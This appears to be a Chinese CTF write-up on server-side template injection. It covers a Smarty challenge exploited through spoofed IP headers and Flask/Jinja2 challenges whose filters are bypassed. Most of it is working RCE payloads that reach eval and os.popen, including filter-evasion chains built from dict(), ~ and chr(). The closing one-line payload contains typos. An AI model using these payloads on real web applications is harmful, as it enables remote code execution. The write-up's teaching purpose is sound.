0x10 SSTI1

什么是SSTI?

服务器端模板注入

SSTI就是服务器端模板注入 (Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的 输入输出 交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。(并不全是python)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

image-20210805110154330

在题目SSTI1中我们使用了Smarty 模版,而什么是Smarty模版?

Smarty是一个php模板引擎。更准确的说,它分开了逻辑程序和外在的内容,提供了一种易于管理的方法。可以描述为应用程序员和美工扮演了不同的角色,因为在大多数情况下 ,他们不可能是同一个人。例如,你正在创建一个用于浏览新闻的网页,新闻标题,标签栏,作者和内容等都是内容要素,他们并不包含应该怎样去呈现。在Smarty的程序里,这些被忽略了。模板设计者们编辑模板,组合使用html标签和模板标签去格式化这些要素的输出(html表格,背景色,字体大小,样式表,等等)。有一天程序员想要改变文章检索的方式(也就是程序逻辑的改变)。这个改变不影响模板设计者,内容仍将准确的输出到模板。同样的,哪天美工吃多了想要完全重做界面,也不会影响到程序逻辑。因此,程序员可以改变逻辑而不需要重新构建模板,模板设计者可以改变模板而不影响到逻辑。

​ 现在简短的说一下什么是smarty不做的。smarty不尝试将逻辑完全和模板分开。如果逻辑程序严格的用于页面表现,那么它在模板里不会出现问题。有个建议:让应用程序逻辑远离模板, 页面表现逻辑远离应用程序逻辑。这将在以后使内容更容易管理,程序更容易升级。

​ Smarty的特点之一是"模板编译"。意思是Smarty读取模板文件然后用他们创建php脚本。这些脚本创建以后将被执行。因此并没有花费模板文件的语法解析,同时每个模板可以享受到诸如Zend加速器(http://www.zend.com) 或者PHP加速器(http://www.php-accelerator.co.uk)。这样的php编译器高速缓存解决方案。

​ Smaty的一些特点:

  • ​ 非常非常的快!
  • ​ 用php分析器干这个苦差事是有效的
  • ​ 不需要多余的模板语法解析,仅仅是编译一次
  • ​ 仅对修改过的模板文件进行重新编译
  • ​ 可以编辑’自定义函数’和自定义’变量’,因此这种模板语言完全可以扩展
  • ​ 可以自行设置模板定界符,所以你可以使用{}, {{}}, , 等等
  • ​ 诸如 if/elseif/else/endif 语句可以被传递到php语法解析器,所以 {if …} 表达式是简单的或者是复合的,随你喜欢啦
  • ​ 如果允许的话,section之间可以无限嵌套
  • ​ 引擎是可以定制的.可以内嵌php代码到你的模板文件中,虽然这可能并不需要(不推荐)
  • ​ 内建缓存支持
  • ​ 独立模板文件
  • ​ 可自定义缓存处理函数
  • ​ 插件体系结构

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

漏洞确认

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30

由于Smarty去掉了{php}标签,因此我们要寻找能用的其他标签:

{if}标签
官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

而对于本题:

image-20210805111055515

其实存在两个注入点:

注入点一:

我们知道除了xff头可以修改ip地址,同样的

Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Remote-Addr: 127.0.0.1
X-Real-Ip: 127.0.0.1
REMOTE-HOST: 127.0.0.1
via:127.0.0.1

这些请求头也是可以修改IP地址,有些服务是会解析这样的请求头的,在CTF中,由于大家都知道了xff能修改地址,因此出题人为了增加题目的难度,一般会禁用掉xff请求头,这时我们就要挨个去试,看他会解析哪个请求头了

试出请求头

Client-Ip

可以成功修改IP地址

image-20210805111843458

接下来我们尝试去使用,模版语法来进行注入

image-20210805112026605

可以看到这里成功解析出来了

我们尝试使用{if}标签来让他执行php语句

{if phpinfo()}{/if}

执行成功

image-20210805112342093

接下来就是正常的get shell,get flag了

第二个注入点在:

url上面,利用方法也是一样的

漏洞成因在这里

image-20210805112527057

0x20 SSTI2

Python flask ssti 以及其绕过思路

flask ssti1:
__class__:获得当前对象的类
__bases__:列出其基类
__mro__ :列出解析方法的调用顺序,类似于bases
__subclasses__():返回子类列表
__init__ 类的初始化方法 
__globals__ 对包含函数全局变量的字典的引用

绕过思路:
1. 过滤[,可以用.代替
2. 过滤{{用{%
3. 过滤了subclasses,用+拼接

首先要了解python 的一些基础知识

"a".__class__.__mro___ // 会获取当前的方法的调用顺序

找到obj类型后

去尝试寻找子类

"a".__class__.__mro___[2].__subclasses__()

返回到子类后尝试找一些具有类初始化方法和全局字典引用的类型

如awnings,enum等类型

获取到这种类型后就可以找eval函数去执行我们想要的命令了

"a".__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__(\'os\').popen(\'whoami\').read()')

对于本题来讲

根据题目发包后发现注入点

POST / HTTP/1.1
Host: 62.234.155.106:20783
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

ssti={{7*9}}

尝试常规构造后发现题目过滤了. ,subclasses 等字符串,那么构造

{{''['__class__']['__mro__'][1]}}

利用[] 来绕过.过滤,PS除了这样以外还可以通过attr()等这样的函数来绕过

然后获取子类,通过加号来对字符串进行拼接

ssti={{''['__class__']['__mro__'][1]['__subc'+'lasses__']()}}

尝试找具有类初始化方法和全局字典引用的类型

发现

ssti={{''['__class__']['__mro__'][1]['__subc'+'lasses__']()[192]['__init__']['__globals__']['__built'+'ins__']}}

可以有回显,可以获取到全局字典的引用,同样在这个地方,如果保证后面的payload没有什么问题,可以在这里做一个爆破

可以爆破出全局引用的都是可以用的,最后这里的点可以用\x2e来替换,也可以其他

Final payload:

ssti={{''['__class__']['__mro__'][1]['__subc'+'lasses__']()[192]['__init__']['__globals__']['__built'+'ins__']['ev'+'al']('__import__("os")\x2epopen("whoami")\x2eread()')}}

在这里另一种方法就是通过config这条链来走,其实都一样,最终目的都是为了能够调用os包来执行系统命令

{{config['__class__']['__init__']['__globals__']['os']['popen']('whoami')|attr('read')()}}

主要是学习绕过过滤的思想以及对SSTI链条的理解

这里其实可以有一条通杀链条,原理与我们讲的方法一致,理解了原理,就明白为什么这里可以通杀

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
    	 {% if 'eval' in b.keys() %}
      	 {{ b['eval']('__import__("os").popen("id").read()') }}
   	   {% endif %}
  	{% endif %}
   {% endfor %}
  {% endif %}
{% endfor %}

0x30 SSTI3

过滤了+,通过模板语法的~进行字符串拼接,过滤了{{,通过{%进行绕过,过滤了引号通过set aa=dict(bbbb)进行绕过


{%set s1=dict(su=1) %}{%set s2=dict(bclasses=1) %}{%set S=s1~s2 %}{%set SU=S[2:4]~S[11:19] %}{% print SU %} 这样构造得到subclasses字符串

{%set a1=dict(ch=1) %}{%set a2=dict(r=1) %}{%set c=a1~a2 %}{%set CHR=c[2:4]~c[11:12] %}{% print CHR %} 这样构造得到chr字符串

{% set _=().__str__|e %}{% set _=_[24:25] %} 这样构造得到_字符串

{% ().__class__.__bases__.__getitem__(0)[_~_~SU~_~_]() %} 获取所有的类列表,通过get_warning.py文件得到要利用的类的下标

{% set Chr=().__class__.__bases__.__getitem__(0)[_~_~SU~_~_]()[192].__init__.__globals__.__builtins__[CHR] %}获得chr函数,构造任意字符串,通过conver_chr.py脚本得到任意字符串

{% print ().__class__.__bases__.__getitem__(0)[_~_~SU~_~_]()[192].__init__.__globals__.__builtins__[Chr(101)~Chr(118)~Chr(97)~Chr(108)] %} 得到eval函数


ssti={%set s1=dict(su=1) %}{%set s2=dict(bclasses=1) %}{%set S=s1~s2 %}{%set SU=S[2:4]~S[11:19] %}
{%set a1=dict(ch=1) %}{%set a2=dict(r=1) %}{%set c=a1~a2 %}{%set CHR=c[2:4]~c[11:12] %}
{% set _=().__str__|e %}{% set _=_[24:25] %}{% set Chr=().__class__.__bases__.__getitem__(0)[_~_~SU~_~_]()[192].__init__.__globals__.__builtins__[CHR] %}
{% print ().__class__.__bases__.__getitem__(0)[_~_~SU~_~_]()[192].__init__.__globals__.__builtins__[Chr(101)~Chr(118)~Chr(97)~Chr(108)](Chr(95)~Chr(95)~Chr(105)~Chr(109)~Chr(112)~Chr(111)~Chr(114)~Chr(116)~Chr(95)~Chr(95)~Chr(40)~Chr(39)~Chr(111)~Chr(115)~Chr(39)~Chr(41)~Chr(46)~Chr(112)~Chr(111)~Chr(112)~Chr(101)~Chr(110)~Chr(40)~Chr(39)~Chr(119)~Chr(104)~Chr(111)~Chr(97)~Chr(109)~Chr(105)~Chr(39)~Chr(41)~Chr(46)~Chr(114)~Chr(101)~Chr(97)~Chr(100)~Chr(40)~Chr(41)) %}


payload = ().__class__.bases___.__getitem__(0)['__subclasses__']()[192].__init__.__globals__.__builtins__['eval']('__import__('os').popen('whoami').read()')